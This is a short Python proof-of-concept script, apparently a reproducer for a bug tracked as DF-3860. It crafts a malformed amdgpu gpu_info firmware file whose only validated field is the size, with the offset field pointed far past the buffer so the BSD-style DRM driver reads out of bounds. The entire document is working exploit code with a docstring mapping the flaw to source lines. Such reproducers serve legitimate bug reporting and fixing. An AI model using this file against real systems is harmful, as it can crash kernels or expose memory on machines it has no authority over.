DF-3860 / make_gpuinfo_fw.py
#!/usr/bin/env python3 """DF-3860 trigger: craft an amdgpu gpu_info firmware file that passes amdgpu_ucode_validate() but points ucode_array_offset_bytes far past the buffer, so amdgpu_device_parse_gpu_info_fw() (amdgpu_device.c:1375-1396) reads its 14 u32 config fields out of bounds. Real struct layout (sys/dev/drm/amd/amdgpu/amdgpu_ucode.h): struct common_firmware_header { /* 32 bytes */ 0x00 u32 size_bytes; 0x04 u32 header_size_bytes; 0x08 u16 header_version_major; 0x0A u16 header_version_minor; 0x0C u16 ip_version_major; 0x0E u16 ip_version_minor; 0x10 u32 ucode_version; 0x14 u32 ucode_size_bytes; 0x18 u32 ucode_array_offset_bytes; <-- attacker offset, UNVALIDATED 0x1C u32 crc32; }; struct gpu_info_firmware_header_v1_0 { /* 36 bytes = common + 2*u16 */ struct common_firmware_header header; u16 version_major; /* must be 1 (switch at :1372) */ u16 version_minor; }; Validation performed by amdgpu_ucode_validate() (amdgpu_ucode.c:251-260): fw->datasize == size_bytes. That is the ONLY check on the way to the OOB. """ import struct, sys OUT = sys.argv[1] if len(sys.argv) > 1 else "amdgpufw_vega10_gpu_info" OFFSET = int(sys.argv[2], 0) if len(sys.argv) > 2 else 0x7fff0000 SIZE_BYTES = 36 # == datasize of this crafted file -> validate() passes hdr = struct.pack("<I", SIZE_BYTES) # size_bytes hdr += struct.pack("<I", 36) # header_size_bytes hdr += struct.pack("<HH", 1, 0) # header_version 1.0 hdr += struct.pack("<HH", 1, 0) # ip_version hdr += struct.pack("<I", 1) # ucode_version hdr += struct.pack("<I", 60) # ucode_size_bytes (payload struct) hdr += struct.pack("<I", OFFSET) # ucode_array_offset_bytes (the bomb) hdr += struct.pack("<I", 0) # crc32 (never checked) hdr += struct.pack("<HH", 1, 0) # gpu_info version_major/minor (1.x) assert len(hdr) == SIZE_BYTES == 36, len(hdr) open(OUT, "wb").write(hdr) print("wrote %s (%d bytes): datasize==size_bytes==%d passes amdgpu_ucode_validate;" " ucode_array_offset_bytes=0x%x -> amdgpu_device.c:1379-1396 reads fw->data+0x%x..+60" % (OUT, len(hdr), SIZE_BYTES, OFFSET, OFFSET)) |